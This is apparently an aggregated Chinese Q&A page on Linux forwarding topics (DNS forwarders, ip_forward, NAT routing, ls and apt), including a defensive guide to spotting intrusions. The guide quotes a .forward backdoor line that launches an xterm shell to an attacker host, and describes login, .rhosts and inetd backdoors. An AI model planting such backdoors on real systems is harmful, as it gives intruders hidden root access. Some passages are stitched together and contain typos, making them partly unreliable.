linuxforward

1. linux DNS中參數forward first和forward only有什麼區別

Forward /Only
這個參數只表示如果 forwarders list 為非空，默認為first值，伺服器首先請求 forwarders list ，如果 forwarders list 中的DNS主機不應答，該主機將自己去找應答，如果設置值為only，伺服器將只會請求 forwarders中的DNS主機
Forwarders
指定用來 forwarding的ip地址. 默認為空列(即不轉發). Forwarding 同樣可以寫每個域里, 覆蓋全局轉發的參數. 可以設置一些域用不同的 forwarders或者擁有不同的 forward only/first 和不轉發的行為功能。
關於更多Linux的學習，請查閱書籍《linux就該這么學》。

2. Linux如何判斷自己的伺服器是否被入侵

1、檢查系統密碼文件

首先從明顯的入手，查看一下passwd文件，ls –l /etc/passwd查看文件修改的日期。

檢查一下passwd文件中有哪些特權用戶，系統中uid為0的用戶都會被顯示出來。

1

awk –F:』$3==0{print$1}』/etc/passwd

順便再檢查一下系統里有沒有空口令帳戶：

1

awk –F: 『length($2)==0{print$1}』/etc/shadow

2、查看一下進程，看看有沒有奇怪的進程

重點查看進程：ps –aef | grep inetd

inetd是UNIX系統的守護進程，正常的inetd的pid都比較靠前，如果你看到輸出了一個類似inetd –s /tmp/.xxx之類的進程，著重看inetd –s後面的內容。在正常情況下，LINUX系統中的inetd服務後面是沒有-s參數的，當然也沒有用inetd去啟動某個文件；而solaris系統中也僅僅是inetd –s，同樣沒有用inetd去啟動某個特定的文件；如果你使用ps命令看到inetd啟動了某個文件，而你自己又沒有用inetd啟動這個文件，那就說明已經有人入侵了你的系統，並且以root許可權起了一個簡單的後門。

輸入ps –aef 查看輸出信息，尤其注意有沒有以./xxx開頭的進程。一旦發現異樣的進程，經檢查為入侵者留下的後門程序，立即運行kill –9 pid 開殺死該進程，然後再運行ps –aef查看該進程是否被殺死；一旦此類進程出現殺死以後又重新啟動的現象，則證明系統被人放置了自動啟動程序的腳本。這個時候要進行仔細查找：find / -name 程序名 –print，假設系統真的被入侵者放置了後門，根據找到的程序所在的目錄，會找到很多有趣的東東J

UNIX下隱藏進程有的時候通過替換ps文件來做，檢測這種方法涉及到檢查文件完整性，稍後我們再討論這種方法。

接下來根據找到入侵者在伺服器上的文件目錄，一步一步進行追蹤。

3、檢查系統守護進程

檢查/etc/inetd.conf文件，輸入：cat /etc/inetd.conf | grep –v 「^#」，輸出的信息就是你這台機器所開啟的遠程服務。

一般入侵者可以通過直接替換in.xxx程序來創建一個後門，比如用/bin/sh 替換掉in.telnetd，然後重新啟動inetd服務，那麼telnet到伺服器上的所有用戶將不用輸入用戶名和密碼而直接獲得一個rootshell。

4、檢查網路連接和監聽埠

輸入netstat -an，列出本機所有的連接和監聽的埠，查看有沒有非法連接。

輸入netstat –rn，查看本機的路由、網關設置是否正確。

輸入 ifconfig –a，查看網卡設置。

5、檢查系統日誌

命令last | more查看在正常情況下登錄到本機的所有用戶的歷史記錄。但last命令依賴於syslog進程，這已經成為入侵者攻擊的重要目標。入侵者通常會停止系統的syslog，查看系統syslog進程的情況，判斷syslog上次啟動的時間是否正常，因為syslog是以root身份執行的，如果發現syslog被非法動過，那說明有重大的入侵事件。

在linux下輸入ls –al /var/log

在solaris下輸入 ls –al /var/adm

檢查wtmp utmp，包括messgae等文件的完整性和修改時間是否正常，這也是手工擦除入侵痕跡的一種方法。

6、檢查系統中的core文件

通過發送畸形請求來攻擊伺服器的某一服務來入侵系統是一種常規的入侵方法，典型的RPC攻擊就是通過這種方式。這種方式有一定的成功率，也就是說它並不能100%保證成功入侵系統，而且通常會在伺服器相應目錄下產生core文件，全局查找系統中的core文件，輸入find / -name core –exec ls –l {} ; 依據core所在的目錄、查詢core文件來判斷是否有入侵行為。

7、.rhosts和.forward

這是兩種比較著名的後門文件，如果想檢查你的系統是否被入侵者安裝了後門，不妨全局查找這兩個文件：

find / -name 「.rhosts」 –print

find / -name 「.forward」 –print

在某用戶的$HOME下，.rhosts文件中僅包含兩個+號是非常危險的，如果你的系統上開了513埠（rlogin埠，和telnet作用相同），那麼任意是誰都可以用這個用戶登錄到你的系統上而不需要任何驗證。

看到這里如果想要深入的做安全加固服務以及安全部署

就必須找專業做伺服器的安全公司來處理了國內也就Sine安全和綠盟比較專業提供。

Unix下在.forward文件里放入命令是重新獲得訪問的常用方法在某一 用戶$HOME下的.forward可能設置如下:

username|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 –e /bin/sh"

這種方法的變形包括改變系統的mail的別名文件(通常位於/etc/aliases). 注意這只是一種簡單的變換. 更為高級的能夠從.forward中運行簡單腳本實現在標准輸入執行任意命令(小部分預處理後).利用smrsh可以有效的制止這種後門(雖然如果允許可以自運行的elm's filter或procmail類程序, 很有可能還有問題。在Solaris系統下，如果你運行如下命令：

ln -s /var/mail/luser ~/.forward

然後設置vacation有效，那麼/var/mail/luser就會被拷貝到~/.forward，同時會附加"|/usr/bin/vacation me"，舊的symlink被移到~/.forward..BACKUP中。

直接刪除掉這兩個文件也可以。

8、檢查系統文件完整性

檢查文件的完整性有多種方法，通常我們通過輸入ls –l 文件名來查詢和比較文件，這種方法雖然簡單，但還是有一定的實用性。但是如果ls文件都已經被替換了就比較麻煩。在LINUX下可以用rpm –V `rpm –qf 文件名` 來查詢，國家查詢的結果是否正常來判斷文件是否完整。在LINUX下使用rpm來檢查文件的完整性的方法也很多，這里不一一贅述，可以man rpm來獲得更多的格式。

UNIX系統中，/bin/login是被入侵者經常替換作為後門的文件，接下來談一下login後門 ：

UNIX里，Login程序通常用來對telnet來的用戶進行口令驗證。入侵者獲取login的源代碼並修改，使它在比較輸入口令與存儲口令時先檢查後門口令。如果用戶敲入後門口令，它將忽視管理員設置的口令讓你長驅直入：這將允許入侵者進入任何賬號，甚至是root目錄。由於後門口令是在用戶真實登錄並被日誌記錄到utmp和wtmP前產生的一個訪問，所以入侵者可以登錄獲取shell卻不會暴露該賬號。管理員注意到這種後門後，使用」strings」命令搜索login程序以尋找文本信息。許多情況下後門口令會原形畢露。入侵者又會開始加密或者更改隱藏口令，使strings命令失效。所以許多管理員利用MD5校驗和檢測這種後門。UNIX系統中有md5sum命令，輸入md5sum 文件名檢查該文件的md5簽名。它的使用格式如下：md5sum –b 使用二進制方式閱讀文件；md5sum –c 逆向檢查MD5簽名；md5sum –t 使用文本方式閱讀文件。

在前面提到過守護進程，對於守護進程配置文件inetd.conf中沒有被注釋掉的行要進行仔細比較，舉個簡單的例子，如果你開放了telnet服務，守護進程配置文件中就會有一句：telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd

可以看到它所使用的文件是 /usr/sbin/in.telnetd，檢查該文件的完整性，入侵者往往通過替換守護進程中允許的服務文件來為自己創建一個後門。

LINUX系統中的/etc/crontab也是經常被入侵者利用的一個文件，檢查該文件的完整性，可以直接cat /etc/crontab，仔細閱讀該文件有沒有被入侵者利用來做其他的事情。

不替換login等文件而直接使用進程來啟動後門的方法有一個缺陷，即系統一旦重新啟動，這個進程就被殺死了，所以得讓這個後門在系統啟動的時候也啟動起來。通常通過檢查/etc/rc.d下的文件來查看系統啟動的時候是不是帶有後門程序；這個方法怎麼有點象查windows下的trojan？

說到這里，另外提一下，如果在某一目錄下發現有屬性為這樣的文件：-rwsr-xr-x 1 root root xxx .sh，這個表明任何用戶進來以後運行這個文件都可以獲得一個rootshell，這就是setuid文件。運行 find –perm 4000 –print對此類文件進行全局查找，然後刪除這樣的文件。

9、檢查內核級後門

如果你的系統被人安裝了這種後門，通常都是比較討厭的，我常常就在想，遇到這種情況還是重新安裝系統算了J，言歸正傳，首先，檢查系統載入的模塊，在LINUX系統下使用lsmod命令，在solaris系統下使用modinfo命令來查看。這里需要說明的是，一般默認安裝的LINUX載入的模塊都比較少，通常就是網卡的驅動；而solaris下就很多，沒別的辦法，只有一條一條地去分析。對內核進行加固後，應禁止插入或刪除模塊，從而保護系統的安全，否則入侵者將有可能再次對系統調用進行替換。我們可以通過替換create_mole()和delete_mole()來達到上述目的。另外，對這個內核進行加固模塊時應盡早進行，以防系統調用已經被入侵者替換。如果系統被載入了後門模塊，但是在模塊列表/proc/mole里又看不到它們，有可能是使用了hack工具來移除載入的模塊，大名鼎鼎的knark工具包就有移除載入模塊的工具。出現這種情況，需要仔細查找/proc目錄，根據查找到的文件和經驗來判斷被隱藏和偽裝的進程。Knark後門模塊就在/proc/knark目錄，當然可能這個目錄是隱藏的。

3. Linux系統中，ls命令的參數中，-a -d -F 這三個分別表示什麼啊

a表示顯示所有文件，包含隱藏文件。

d表示顯示目錄自身的屬性，而不是目錄中的內容。

F選項會在顯示目錄條目時，在目錄後加一個。

Linux與其他操作系統相比 ，具有開放源碼、沒有版權、技術社區用戶多等特點 ，開放源碼使得用戶可以自由裁剪，靈活性高，功能強大，成本低。尤其系統中內嵌網路協議棧 ，經過適當的配置就可實現路由器的功能。這些特點使得Linux成為開發路由交換設備的理想開發平台。

Linux不僅系統性能穩定，而且是開源軟體。其核心防火牆組件性能高效、配置簡單，保證了系統的安全。在很多企業網路中，為了追求速度和安全，Linux操作系統不僅僅是被網路運維人員當作伺服器使用，Linux既可以當作伺服器，又可以當作網路防火牆是Linux的 一大亮點。

(3)linuxforward擴展閱讀：

系統內核的路由轉發：

Linux操作系統嵌入了TCP/IP協議棧，協議軟體具有路由轉發功能。路由轉發依賴作為路由器的主機中安裝多塊網卡，當某一塊網卡接收到數據包後，系統內核會根據數據包的目的IP地址，查詢路由表。

通過修改Linux系統內核參數ip_forward的方式實現路由功能，系統使用sysctl命令配置與顯示在/proc/sys目錄中的內核參數。首先在命令行輸入：cat/proc/sys/net/ipv4/ip_forwad，檢查Linux內核是不是開啟IP轉發功能。

如果結果為1，表明路由轉發功能已經開啟；如果結果為0，表明沒有開啟。出於安全考慮，Linux內核默認是禁止數據包路由轉發的。在linux系統中，有臨時和永久兩種方法啟用轉發功能。

4. linux修改ip_forward值修改不了

終端下輸入
sysctl -w net.ipv4.ip_forward=1
或者
echo 1 > /proc/sys/net/ipv4/ip_forward
簡單吧？

5. linux雙網 路由配置

#ip
route
add
default
via
10.2.1.254
設置默認路由指向硬體防火牆
#echo
1
>
/proc/sys/net/ipv4/ip_forward
開啟路由轉發功能，重啟失效
需關閉linux的iptable或iptable的FORWARD默認策略為ACCEPT或具體設置FORWARD

6. Linux系統的轉發功能是干什麼的就是/etc/sysctl.conf文件 將 net.ipv4.ip_forward = 0 改成 =1

所謂轉發即當主機擁有多於一塊的網卡時，其中一塊收到數據包，根據數據包的目的ip地址將包發往本機另一網卡，該網卡根據路由表繼續發送數據包。這通常就是路由器所要實現的功能

7. 把linux配置成轉發路由器

1.用虛擬機硬體配置增加一塊虛擬網卡.
2.進入linux。在網路配置裡面就可以看到多了一個網卡介面eth1
.設置這個網卡介面的ip和MAC不需要設置網關.
設置配置文件：
vi
/etc/sysconfig/network-scripts/ifcfg-eth1
#
Advanced
Micro
Devices
[AMD]
79c970
[PCnet32
LANCE]
DEVICE=eth1
ONBOOT=yes
BOOTPROTO=none
HWADDR=00:0c:29:16:1b:de/虛擬機給你分配的/
NETMASK=255.255.255.0
IPADDR=192.168.2.11
TYPE=Ethernet
USERCTL=no
IPV6INIT=no
PEERDNS=yes
echo
1
>
/proc/sys/net/ipv4/ip_forward
開啟linux的路由轉發功能
iptables
-t
nat
-A
POSTROUTING
-o
eth0
-j
MASQUERADE
配置連接外網的nat.這個eth0網卡一定要是連接外網的.不要問我這命令啥意思,我除了指導nat是做啥的,其它的就不曉得了.這是公司做測試的童鞋教我的.
以上2個命令,每次開啟虛擬機linux必須要重新打命令.建議增加開機啟動腳本,在
/etc/rc.local中設置.
整個網路配置.
本機ip:192.168.2.178
本機網關;
192.168.2.11
轉發路由器：eth1:
ip:192.168.2.11
網關：不需要配置
etho:
ip:192.168.1.178
網關：192.168.1.38
這樣我的測試平台就做好了.
最近在移植公司代碼,從linux2.4.18到linux2.6.21.是防火牆和安全網關的代碼,就在這個虛擬網關測試
功能.
抱怨2句...
終於體會到不少童鞋有2台電腦,工作的方便了....
我調程序工作中,必須要開這個虛擬網關,要使用這個虛擬網關,我本機就必須通過它來上網,本來就是用來測試我代碼功能的,經常會出各種問題的...必然導致上網不是很方便了....工作和娛樂的切換灰常不方便了.....
作者programmer

8. linux配置中eth0和eth1做什麼用的

是一種光纖乙太網介面卡，按照乙太網通信協議進行信號傳輸。一般通過光纜與光纖乙太網交換機連接。

Eth0和eth1用於區分網卡名。它們的含義與windows本地連接1和本地連接2相同。

這里的子網卡不是一個實用的網路介面，但是它可以作為一個集合介面在系統中閃現，比如eth0：1，eth1：2。

(8)linuxforward擴展閱讀：

Linux操作系統嵌入了TCP／IP協議棧，協議軟體具有路由轉發功能。路由和轉發依賴於在主機中安裝多個網卡作為路由器。

當某一網卡接收到度包時，系統內核會根據度包的目的IP地址查詢路由表，然後根據查詢結果將度包發送到另一網卡，最後通過該網卡發送度包。主機的進程是路由器的核心功能。

路由功能是通過修改Linux內核參數來實現的。sysctl命令用於配置和顯示／proc／sys目錄中的內核參數。

出於安全原因，Linux內核默認禁止數據包路由和轉發。在Linux系統中，有臨時和永久兩種方法啟用轉發功能。

9. linux系統下iptables里這句FORWARD ACCEPT是什麼意思

這句的意思是 你的防火牆允許轉發，就是別人通過你的防火牆到另外一個地方，需要和上下文配合使用才知道你的防火牆的規定。

10. Linux中的update和upgrade分別是更新什麼

sudoapt-getupdate下載最新的軟體列表。

從軟體源（也就是伺服器）下載最新的軟體包列表文件，更新本地軟體包緩存信息（包含軟體名，版本，校驗值，依賴關系等）。

具體下載文件在目錄：

/var/lib/apt/lists

sudoapt-getupgrade

安裝更新。

下載最新軟體包，並替換系統上過時的軟體。

具體下載文件在目錄：/var/cache/apt/archives。

(10)linuxforward擴展閱讀：

系統內核的路由轉發：

Linux操作系統嵌入了TCP/IP協議棧，協議軟體具有路由轉發功能。路由轉發依賴作為路由器的主機中安裝多塊網卡，當某一塊網卡接收到數據包後，系統內核會根據數據包的目的IP地址，查詢路由表。

然後根據查詢結果將數據包發送到另外一塊網卡，最後通過此網卡把數據包發送出去。此主機的處理過程就是路由器完成的核心功能。

通過修改Linux系統內核參數ip_forward的方式實現路由功能，系統使用sysctl命令配置與顯示在/proc/sys目錄中的內核參數。首先在命令行輸入：cat/proc/sys/net/ipv4/ip_forwad，檢查Linux內核是不是開啟IP轉發功能。

如果結果為1，表明路由轉發功能已經開啟；如果結果為0，表明沒有開啟。出於安全考慮，Linux內核默認是禁止數據包路由轉發的。在linux系統中，有臨時和永久兩種方法啟用轉發功能。